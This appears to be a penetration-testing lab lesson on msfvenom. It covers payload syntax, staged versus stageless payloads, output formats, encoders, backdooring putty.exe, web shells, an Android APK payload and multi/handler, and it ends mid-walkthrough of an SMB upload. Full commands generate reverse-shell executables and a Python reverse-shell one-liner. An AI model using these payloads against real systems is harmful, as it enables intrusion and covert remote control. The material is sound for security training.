OSA
Task 1

Introduction

Throughout the first three rooms of this module, every payload you used was delivered through an exploit launched from msfconsole. You selected a module, set RHOSTS and LHOST, typed exploit, and Metasploit handled the rest: packaging the payload, sending it to the target, and establishing the session.

But what happens when that workflow does not apply?

Consider a few scenarios from the Stratford Systems engagement. You have found a file upload vulnerability in a web application, but there is no Metasploit exploit module for it. You have SSH credentials to a Linux server and can transfer files, but you need a Meterpreter session rather than a basic shell. You need to embed a payload inside an existing Windows executable to deliver it through a phishing email. In each of these cases, you need a standalone payload file that you generate outside of an exploit module and deliver to the target through your own means.

That is what msfvenom does.

What Is Msfvenom?

Msfvenom is a command-line tool that generates payloads in a wide variety of formats for virtually any target platform. It is part of the Metasploit Framework but runs independently from msfconsole. You use it from a regular terminal prompt, not from the msf6 > prompt.

With msfvenom, you can:

  • Generate standalone executables (.exe, .elf, .apk, .war) that deliver a Meterpreter session or command shell when executed on the target
  • Produce raw shellcode in languages like C, Python, PowerShell, or C# for embedding in your own tools
  • Create web shells (PHP, ASP, JSP) for upload through web application vulnerabilities
  • Encode payloads to remove bad characters or transform their byte patterns
  • Inject payloads into existing legitimate binaries to make them appear less suspicious

History: Two Tools Became One

Older versions of the Metasploit Framework split payload generation across two separate tools:

  • msfpayload: Generated raw payload output
  • msfencode: Encoded payload output to remove bad characters or attempt basic evasion

In 2015, both tools were merged into a single utility: msfvenom. If you encounter older tutorials referencing msfpayload or msfencode, those commands no longer exist. Everything they did is now handled by msfvenom.

Where Msfvenom Fits in the Workflow

The penetration testing workflow with msfvenom adds a manual delivery step that msfconsole exploits handle automatically:

  1. Generate the payload with msfvenom (specifying target platform, payload type, format, and connection details)
  2. Deliver the payload to the target (through file upload, SSH transfer, phishing, USB drop, or any other delivery mechanism)
  3. Set up a handler in msfconsole using exploit/multi/handler to catch the incoming connection
  4. Execute the payload on the target (or wait for the victim to execute it)
  5. Interact with the resulting session

Steps 3 through 5 are identical to what happens when you run an exploit from msfconsole. The difference is that you are responsible for steps 1 and 2, rather than an exploit module handling them for you.

Prerequisites

This room builds on all three previous rooms in the module. You should be comfortable with:

Learning Objectives

By the end of this room, you will be able to:

  • Use msfvenom to generate payloads for Windows, Linux, and web application targets
  • Choose between staged and stageless payloads based on engagement requirements
  • Select the appropriate output format for your delivery method
  • Understand what encoding does (and does not do) for evasion
  • Inject payloads into existing binaries
  • Set up a multi/handler to catch reverse connections from standalone payloads
  • Complete a full generate → deliver → catch → post-exploit workflow

?Answer the questions below

  1. Ready to start!
Task 2

Basic Syntax and Listing Options

Before generating any payloads, let's understand the command structure. Every msfvenom command follows the same pattern, and once you learn the core flags, you can build any payload the framework supports.


Note: Tasks 2-7 are mainly theoretical. You will apply the knowlege from these tasks in the challenge at the end. 

The Core Command Structure

The minimal msfvenom command requires three things: a payload (-p), a format (-f), and connection parameters (LHOST/LPORT for reverse payloads):

msfvenom -p <payload> LHOST=<your_ip> LPORT=<your_port> -f <format> -o <output_file>

Consider a concrete example. To generate a Windows Meterpreter reverse shell as an executable:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
        

Let's break this down, flag by flag:

  • -p windows/x64/meterpreter/reverse_tcp: The payload to generate. This uses the same naming convention you learned in Room 1: platform/architecture/payload_type/connection_method.
  • LHOST=10.10.14.12: Your attacking machine's IP address. The target will connect back to this address when the payload executes.
  • LPORT=4444: The port on your machine that will receive the connection.
  • -f exe: The output format. In this case, a Windows portable executable.
  • -o shell.exe: The output file name. Without -o, msfvenom prints the raw payload to standard output, which is useful for piping into other tools but not for saving a binary file.

The Complete Flag Reference

Here are all the flags you will use regularly:

Flag Purpose Example
-p Select the payload -p linux/x64/meterpreter/reverse_tcp
-f Set the output format -f elf, -f exe, -f raw, -f python
-o Write output to a file -o payload.exe
-e Select an encoder -e x86/shikata_ga_nai
-i Number of encoding iterations -i 5
-b Characters to avoid (bad characters) -b '\x00\x0a\x0d'
-x Template binary (inject payload into existing file) -x putty.exe
-k Keep the template's original behavior -k (used with -x)
-a Override architecture -a x64
--platform Override platform --platform windows
-n Prepend a NOP sled of N bytes -n 16
LHOST= Your listener IP (not a flag; a payload option) LHOST=10.10.14.12
LPORT= Your listener port (not a flag; a payload option) LPORT=4444

Note that LHOST and LPORT are not msfvenom flags (they do not use a - prefix). They are payload options, passed directly as KEY=VALUE pairs after the -p flag. Different payloads may have different options; you can check what a specific payload requires with msfvenom -p <payload> --list-options.

Listing What Is Available

Msfvenom can list every payload, encoder, format, platform, and architecture it supports. The -l flag (lowercase L) is your discovery tool:

List all payloads:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -l payloads

Framework Payloads (1710 total)
===============================

 Name                                                Description
 ----                                                -----------
 aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
 android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
 android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
 [...]
 windows/x64/meterpreter/reverse_tcp                 Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
 windows/x64/meterpreter_reverse_tcp                 Windows Meterpreter Shell, Reverse TCP Inline
 windows/x64/shell/reverse_tcp                       Windows x64 Command Shell, Reverse TCP Stager
 [...]
        

The output is long (~1,700 payloads). You will almost always want to pipe it through grep to filter:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -l payloads | grep linux | grep meterpreter
 linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker
 linux/aarch64/meterpreter_reverse_http               Run the Meterpreter / Mettle server payload (stageless)
 linux/x64/meterpreter/reverse_tcp                    Inject the mettle server payload (staged). Connect back to the attacker
 linux/x64/meterpreter_reverse_tcp                    Run the Meterpreter / Mettle server payload (stageless)
 linux/x86/meterpreter/reverse_tcp                    Inject the mettle server payload (staged). Connect back to the attacker
 [...]
        

List output formats:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -l formats

Framework Executable Formats [--format <value>]
===============================================

 Name
 ----
 asp
 aspx
 dll
 elf
 exe
 macho
 msi
 [...]

Framework Transform Formats [--format <value>]
==============================================

 Name
 ----
 base64
 c
 csharp
 hex
 java
 powershell
 python
 raw
 [...]
        

Notice that formats are split into two categories: executable formats produce standalone binary files, and transform formats produce code or data that you embed into another delivery mechanism. We will explore this distinction in Task 4.

List encoders:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -l encoders

Framework Encoders [--encoder <value>]
======================================

 Name                          Rank       Description
 ----                          ----       -----------
 cmd/brace                     low        Bash Brace Expansion Command Encoder
 cmd/echo                      good       Echo Command Encoder
 generic/eicar                 manual     The EICAR Encoder
 generic/none                  normal     The "none" Encoder
 php/base64                    great      PHP Base64 Encoder
 x64/xor                      normal     XOR Encoder
 x64/xor_dynamic              normal     Dynamic key XOR Encoder
 x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
 [...]
        

List platforms and architectures:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -l platforms
[...]
android, apple_ios, bsd, java, linux, osx, php, python, unix, windows [...]

root@CONNECTION_IP:~# msfvenom -l archs
[...]
aarch64, armbe, armle, cmd, java, mipsbe, mipsle, php, ppc, python, sparc, x64, x86 [...]
        

Checking Payload Options

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options

Options for payload/windows/x64/meterpreter/reverse_tcp:
=========================

 Name: Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager
 Module: payload/windows/x64/meterpreter/reverse_tcp
 Platform: Windows
 Arch: x64

Basic options:
 Name      Current Setting  Required  Description
 ----      ---------------  --------  -----------
 EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
 LHOST                      yes       The listen address (an interface may be specified)
 LPORT     4444             yes       The listen port

Description:
 Inject the mettle server payload (staged). Connect back to the attacker
        

This output mirrors the show options display you are familiar with from msfconsole.

?Answer the questions below

  1. What flag sets the output format in msfvenom?
  2. What flag specifies the payload to generate?
Task 3

Staged vs. Stageless Payloads

In Room 1, we introduced the concept of staged and stageless payloads and showed you how to tell them apart by the separator in their names (/ for staged, _ for stageless). In this task, we go deeper: what are the practical trade-offs, when should you choose each type, and how do you generate both with msfvenom?

Recap: How Each Type Works

Stageless (inline) payloads are self-contained. The entire payload, including the Meterpreter agent or shell code, is packaged into a single file. When the payload executes on the target, it connects back to your handler, and the session is established in one step.

Staged payloads work in two steps. First, a small stager executes on the target. The stager's only job is to establish a network connection back to your handler. Once connected, your handler sends the larger stage (the full Meterpreter or shell payload) across that connection. The stage is loaded into memory and executed.

The Trade-Offs

Factor Stageless Staged
File size Larger (full payload included) Smaller (only the stager is in the file)
Reliability More reliable; no second download that could fail Depends on a stable connection during stage transfer
Network dependency Connects once Requires sustained connection to download the stage
Detection surface Full payload on disk (easier to signature-match) Smaller initial file (harder to signature-match), but stage transfer may be detected
Firewall behavior Single outbound connection Stager connects, then pulls a large data transfer (stage); some IDS may flag this pattern
Use with msfconsole exploits Works, but less common as default Default for most msfconsole exploit modules
Use with msfvenom Common choice for standalone payloads Works, but requires the handler to serve the stage

When to Choose Each

Choose stageless when:

  • You are generating a standalone file with msfvenom for manual delivery (USB drop, file upload, SSH transfer). The payload must be self-contained because you may not control the network conditions during execution.
  • You are targeting an environment with intermittent or unreliable network connectivity. A stageless payload only needs to connect once.
  • You want simplicity. There is no coordination required between the stager and the stage; it either works or it does not.

Choose staged when:

  • You are working within msfconsole and the exploit module handles staging automatically (this is the default behavior for most exploits).
  • You need to minimize the initial payload size, for example, when exploiting a buffer overflow with a tight size constraint.
  • You are delivering the payload through a channel with size limitations (e.g., a SQL injection that can only inject a small amount of shellcode).

In practice, most msfvenom-generated standalone payloads use stageless variants because reliability and self-containment outweigh size concerns. Most msfconsole exploits use staged variants because the exploit module manages the staging process automatically.

Generating Both with Msfvenom

Let's generate the same Meterpreter reverse shell in both forms and compare.

Staged:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o staged.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: staged.exe
        

Stageless:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o stageless.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 250880 bytes
Saved as: stageless.exe
        

The differences are striking:

  • Staged payload size: 510 bytes (7 KB as an EXE). This is just the stager; the full Meterpreter agent will be downloaded later.
  • Stageless payload size: 201,798 bytes (245 KB as an EXE). This is the complete Meterpreter agent, ready to run without any additional downloads.

The only thing that changed in the command was the payload name: meterpreter/reverse_tcp (staged, with /) vs. meterpreter_reverse_tcp (stageless, with _). Every other flag remained identical.

Handler Behavior Differences

When catching a staged payload with exploit/multi/handler, the handler must serve the stage to the connecting stager. If the handler is not running when the stager executes, or if the payload type in the handler does not match exactly, the connection will fail silently.

When catching a stageless payload, the handler simply receives the already-complete Meterpreter connection. There is no stage to serve. This makes stageless payloads slightly more forgiving of timing issues.

In both cases, the handler configuration must match the payload's LHOST, LPORT, and payload type exactly. We will set up handlers in Task 7.

?Answer the questions below

  1. Which payload type is self-contained and does not require a second download: staged or stageless?
Task 4

Generating Payloads and Output Formats

You understand the syntax, the flags, and the staged vs. stageless distinction. Now let's generate actual payloads for the platforms and scenarios you will encounter most frequently. Along the way, we will explore the two categories of output formats and when to use each.

Executable Formats vs. Transform Formats

When you run msfvenom -l formats, the output is split into two sections. Understanding the difference between them is essential for choosing the right -f flag.

Executable formats produce standalone binary files that the target's operating system can run directly. These include exe (Windows), elf (Linux), macho (macOS), msi (Windows Installer), apk (Android), and war (Java web applications). You use these when your delivery method puts a file on the target that will be executed.

Transform formats produce code or data that you embed into another tool, script, or exploit. These include raw (raw bytes), c (C byte array), csharp (C# byte array), python (Python byte string), powershell (PowerShell byte array), hex (hexadecimal string), and base64 (base64 encoded). You use these when you are building your own exploit, injecting shellcode into a custom loader, or embedding a payload in a script.

The rule of thumb: if you need a file the target runs, use an executable format. If you need data you embed in something else, use a transform format.

Common Payload Recipes

Below are the five payload types you will generate most often. Each example includes the full command and an explanation of when you would use it.

1. Windows Reverse Shell (EXE)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 250880 bytes
Saved as: shell.exe
        

When to use: You have a way to get an executable onto a Windows target (file upload, SMB share, phishing attachment, USB drop). The target runs the .exe file, and a Meterpreter session connects back to your handler.

Note the stageless payload (meterpreter_reverse_tcp with _). For standalone executables, stageless is the standard choice for reliability.

2. Linux Reverse Shell (ELF)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1046528 bytes
Final size of elf file: 1046528 bytes
Saved as: shell.elf
        

When to use: You have file transfer access to a Linux target (SSH, SCP, a writable web directory, or a file upload vulnerability). After transferring the file, you will need to make it executable with chmod +x shell.elf before running it with ./shell.elf.

The ELF (Executable and Linkable Format) is the Linux equivalent of Windows' .exe. It is the standard binary format on Linux, macOS, and most Unix-like systems.

3. PHP Web Shell

Attack Box
           root@CONNECTION_IP:~# msfvenom -p php/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f raw -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34802 bytes
Saved as: shell.php
        

When to use: You have found a file upload vulnerability in a PHP-based web application. You upload shell.php, then trigger it by navigating to its URL (e.g., http://target.com/uploads/shell.php). The PHP runtime on the web server executes the payload and connects back to your handler.

Important: After generating a PHP payload with msfvenom, open the file and verify it starts with a proper <?php opening tag. Some versions of msfvenom output the opening tag as a comment (/*<?php /**/). If the PHP engine does not recognize the file as PHP code, the payload will not execute. Remove any comment markers around the opening tag if needed.

4. Python One-Liner

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p cmd/unix/reverse_python LHOST=CONNECTION_IP LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 505 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNv...')[0]))"
        

When to use: The target has Python installed, and you can execute commands (through a command injection vulnerability, an SSH session, or a web shell). You paste or pipe this one-liner directly into the target's terminal. No file needs to touch the disk.

Notice the output format is raw (not elf or exe), and there is no -o flag, the payload prints directly to your terminal. This is a transform format in action: the output is code, not a binary.

5. Raw Shellcode (C Format)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of c file: 853830 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50"
[...]
        

When to use: You are writing a custom exploit, building a payload loader in C, or need raw shellcode bytes for embedding in a buffer overflow exploit. The output is a C-style byte array that you can copy directly into your source code.

Other useful transform formats follow the same pattern: -f python for a Python byte string, -f csharp for a C# byte array, -f powershell for a PowerShell-compatible format, -f hex for a plain hexadecimal string.

Quick Reference: Common Format Choices

Scenario Payload Format Example Flag
Windows executable for file drop windows/x64/meterpreter_reverse_tcp exe -f exe
Linux executable for SSH transfer linux/x64/meterpreter_reverse_tcp elf -f elf
PHP web shell for file upload php/meterpreter_reverse_tcp raw -f raw
Python command injection cmd/unix/reverse_python raw -f raw
Shellcode for custom C exploit Any Windows/Linux payload c -f c
PowerShell for Windows command execution windows/x64/meterpreter_reverse_tcp powershell -f powershell
Java web application (Tomcat, Jenkins) java/meterpreter/reverse_tcp war -f war
Windows Installer for delivery windows/x64/meterpreter_reverse_tcp msi -f msi

?Answer the questions below

  1. What output format would you use to generate a Linux binary executable?
  2. Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe , connecting back to 10.10.14.12 on port 5555 .
Task 5

Encoders and Evasion Basics

There is a persistent misconception in beginner penetration testing circles that encoding a payload with msfvenom will bypass antivirus software. Let's address this directly: encoding is not evasion. Understanding what encoding actually does, and what it does not do, will save you from false assumptions on real engagements.

What Encoding Actually Does

An encoder transforms the payload's byte sequence into a different representation. The most well-known encoder in Metasploit is x86/shikata_ga_nai, which applies polymorphic XOR additive feedback encoding. In simple terms, it XOR-encrypts the payload with a changing key and prepends a small decoder stub. When the payload executes, the decoder stub runs first, decodes the payload back to its original form in memory, and then transfers execution to the decoded payload.

The primary legitimate use cases for encoding are:

  • Bad character removal: Certain exploit delivery channels cannot tolerate specific byte values. For example, a buffer overflow exploited through a string copy function might break if the payload contains null bytes (\x00), newlines (\x0a), or carriage returns (\x0d). Encoding transforms the payload so these bytes never appear.
  • Format compliance: Some delivery channels have character set restrictions (e.g., only printable ASCII). Encoding can ensure the payload fits within those constraints.

Using Encoders with Msfvenom

The -e flag selects an encoder, -i sets the number of encoding iterations, and -b specifies bad characters to avoid:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o encoded.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 201830 (iteration=0)
x86/shikata_ga_nai succeeded with size 201862 (iteration=1)
x86/shikata_ga_nai succeeded with size 201894 (iteration=2)
x86/shikata_ga_nai chosen with final size 201894
Payload size: 201894 bytes
Final size of exe file: 250880 bytes
Saved as: encoded.exe
        

Each iteration re-encodes the output of the previous iteration, slightly increasing the payload size. With three iterations, the payload grew from 201,798 bytes to 201,894 bytes.

To avoid specific bad characters, use -b followed by the characters in hex notation:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f c -b '\x00\x0a\x0d'
        

When you specify -b, msfvenom automatically selects an appropriate encoder to eliminate those bytes from the output. You do not necessarily need to specify -e separately when using -b; msfvenom will choose an encoder that can handle the bad character set.

The Reality Check: Why Encoding Does Not Bypass Modern AV

In the early 2000s, antivirus solutions relied almost exclusively on static signature matching: comparing files byte-by-byte against a database of known malicious patterns. Encoding could defeat this by changing the byte pattern, and tools like shikata_ga_nai were effective because the polymorphic output looked different in each generation.

Modern endpoint security has moved far beyond static signatures:

  • Heuristic analysis examines what the code does, not just what it looks like. A decoder stub that decrypts and executes arbitrary code in memory is a well-known behavioral pattern.
  • Sandboxing executes suspicious files in an isolated environment and observes their behavior. The payload decodes and runs normally inside the sandbox, revealing its true purpose.
  • AMSI (Antimalware Scan Interface) on Windows intercepts scripts and payloads at runtime, inspecting them after decoding but before execution.
  • Machine learning models trained on millions of samples can identify malicious patterns even in polymorphic code.

Running shikata_ga_nai with 10 iterations against a default Meterpreter payload will be caught by virtually every modern endpoint security product. The XOR decoder stub itself is now a well-known signature.

When Encoding Is Still Useful

Despite not being an evasion strategy, encoding remains useful for its original purpose: bad character avoidance in exploit development. If you are writing a buffer overflow exploit and your payload must avoid null bytes and newlines, encoding solves that problem cleanly. This is a legitimate technical requirement, not a stealth technique.

If you need actual evasion against modern defenses, the path leads beyond msfvenom entirely, into custom loaders, process injection techniques, AMSI bypass methods, and payload obfuscation tools. These topics are covered in more advanced modules on the TryHackMe platform.

?Answer the questions below

  1. What is the name of the most well-known Metasploit encoder?
  2. What msfvenom flag specifies characters that must not appear in the payload output?
Task 6

Payload Injection and Multi-Platform Payloads

So far, every payload we have generated has been a standalone file, a fresh executable containing nothing but our payload. But what if you want the payload to look like a legitimate application? And what about targets beyond Windows and Linux? In this task, we cover injecting payloads into existing binaries and generating payloads for mobile and web application platforms.

Injecting Payloads into Existing Binaries

The -x flag tells msfvenom to use an existing executable as a template. The payload is injected into the binary, and the resulting file appears to be (and in some cases still functions as) the original application.

Consider this scenario: you want to deliver a payload disguised as a legitimate Windows utility. You take a copy of putty.exe and inject your Meterpreter payload into it:

Attack Box
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -x /root/templates/putty.exe -f exe -o putty_backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of exe file: 1553920 bytes
Saved as: putty_backdoor.exe
        

The output file is ~1.5 MB (the size of the original PuTTY binary plus the injected payload). When a user runs putty_backdoor.exe, the payload executes and connects back to your handler.

Preserving original behavior with -k

By default, when a payload is injected with -x, the original application's functionality may be disrupted. The -k flag attempts to preserve the template's original behavior by running the payload in a separate thread:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -x /root/templates/putty.exe -k -f exe -o putty_backdoor.exe
        

With -k, the resulting binary should launch PuTTY normally while simultaneously executing the payload in the background. The user sees the expected application; the attacker gets a session.

Detection trade-offs

Template injection introduces several detection risks you should be aware of:

  • Hash mismatch: The injected binary's file hash will differ from the original. Any integrity checking system that compares file hashes against known-good values will flag it.
  • Digital signature breakage: If the original binary was digitally signed (as most legitimate software is), the signature becomes invalid after injection. Windows will show a "publisher could not be verified" warning, and signature-verification tools will flag the file.
  • AV heuristics: Most antivirus products specifically scan for the pattern of legitimate binaries with injected code sections. This technique is well-known and commonly detected.

Template injection is a useful technique for controlled lab environments and CTF challenges. In real engagements against defended networks, it requires additional obfuscation to be practical.

Multi-Platform Payloads

Msfvenom supports payload generation for platforms beyond Windows and Linux. Here are the most commonly encountered ones.

Android (APK)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -o evil.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: evil.apk
        

The APK format is Android's application package. The generated file can be sideloaded onto an Android device for testing. Note that modern Android versions require developer mode and explicit user permission to install apps from unknown sources. No -f flag is needed; msfvenom auto-selects the correct format for Android payloads.

macOS (Mach-O)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f macho -o shell.macho
        

The Mach-O (Mach Object) format is macOS's native binary format, equivalent to ELF on Linux and PE on Windows.

Java Web Application (WAR)

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p java/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f war -o shell.war
        

A WAR (Web Application Resource) file is deployed to Java application servers like Apache Tomcat, JBoss, or GlassFish. If you have access to the Tomcat Manager interface (often with default credentials), you can deploy the WAR file through the web UI, and the payload executes when you browse to the deployed application's URL.

ASP/ASPX for IIS

Attack Box
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f aspx -o shell.aspx
        

ASPX web shells target Microsoft IIS web servers running the .NET Framework. Like PHP payloads, these are uploaded through file upload vulnerabilities and triggered by navigating to the uploaded file's URL.

JSP

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p java/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f jsp -o shell.jsp
        

JSP (JavaServer Pages) payloads work similarly to PHP payloads but target Java-based web servers. They are an alternative to WAR files when you can upload individual files but cannot deploy a full WAR package.

Choosing the Right Platform and Format

The decision tree is straightforward:

  1. What OS does the target run? This determines the payload platform (windows/, linux/, osx/, android/, java/, php/).
  2. How will you deliver the payload? This determines the format. File drop → executable format (exe, elf, macho, apk). Web upload → web format (php, asp, aspx, jsp, war). Code injection → transform format (raw, c, python).
  3. What runtime is available? If the target has PHP, use PHP. If it has Java, use WAR or JSP. If it is a bare OS with no interpreter, use a native binary.

?Answer the questions below

  1. What msfvenom flag injects a payload into an existing executable template?
Task 7

Handlers and Catching Shells

You have generated a payload with msfvenom. You have delivered it to the target. Now what? If the payload uses a reverse connection (and most do), it needs somewhere to connect back to. That somewhere is a handler: a listener running on your attacking machine that accepts incoming connections and establishes sessions.

Setting Up exploit/multi/handler

The exploit/multi/handler module is Metasploit's universal listener. It works with every payload type in the framework: Meterpreter, command shells, PHP reverse shells, Python shells, and more. You configure it in msfconsole just like any other module.

Let's walk through the complete workflow. Assume you have generated this payload:

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.exe
        

Now set up the handler to catch the connection:

AttackBox Terminal
           msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
LHOST => CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

 Name  Current Setting  Required  Description
 ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter_reverse_tcp):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 LHOST  CONNECTION_IP      yes       The listen address
 LPORT  4444             yes       The listen port

Exploit target:

 Id  Name
 --  ----
 0   Wildcard Target

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on CONNECTION_IP:4444
        

The handler is now listening. When the payload executes on the target and connects back to CONNECTION_IP:4444, the handler will establish the session:

Attack Box
           [*] Meterpreter session 1 opened (CONNECTION_IP:4444 -> MACHINE_IP:55320) at 2026-03-18 17:15:42 +0000

meterpreter >
        

The Golden Rule: Everything Must Match

The single most common reason a handler fails to catch a shell is a mismatch between the handler configuration and the payload that was generated. Three values must be identical:

Parameter In msfvenom In multi/handler Must match?
Payload -p windows/x64/meterpreter_reverse_tcp set PAYLOAD windows/x64/meterpreter_reverse_tcp Exactly
LHOST LHOST=CONNECTION_IP set LHOST CONNECTION_IP Exactly
LPORT LPORT=4444 set LPORT 4444 Exactly

If any one of these differs, for example, if you generated the payload with LPORT=4444 but set the handler to listen on LPORT=5555, the connection will fail silently. There will be no error message; the target connects, the handler does not recognize the connection type, and nothing happens.

A common mistake is generating a staged payload but setting the handler to a stageless payload (or vice versa). windows/x64/meterpreter/reverse_tcp (staged, with /) is a different payload from windows/x64/meterpreter_reverse_tcp (stageless, with _). The handler must match exactly.

The Full Generate → Deliver → Catch Workflow

Let's trace a complete, realistic workflow against the Stratford Systems Windows server. You have SSH credentials and want to establish a Meterpreter session.

Step 1: Generate the payload

AttackBox Terminal
           root@CONNECTION_IP:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe
[...]
Saved as: shell.exe
        

Step 2: Start the handler (in a separate terminal or backgrounded in msfconsole)

AttackBox Terminal
           msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter_reverse_tcp
PAYLOAD => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on CONNECTION_IP:4444
        

Step 3: Deliver the payload (from another terminal window)

AttackBox Terminal
           msf6 > use auxiliary/admin/smb/upload_file
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(admin/smb/upload_file) > set rhosts MACHINE_IP
rhosts => 10.80.142.86
msf6 auxiliary(admin/smb/upload_file) > set smbuser guest
smbuser => guest
msf6 auxiliary(admin/smb/upload_file) > set smbshare public
smbshare => public
msf6 auxiliary(admin/smb/upload_file) > set lpath /root/shell.exe
lpath => /root/shell.exe
msf6 auxiliary(admin/smb/upload_file) > set rpath shell.exe
rpath => shell.exe
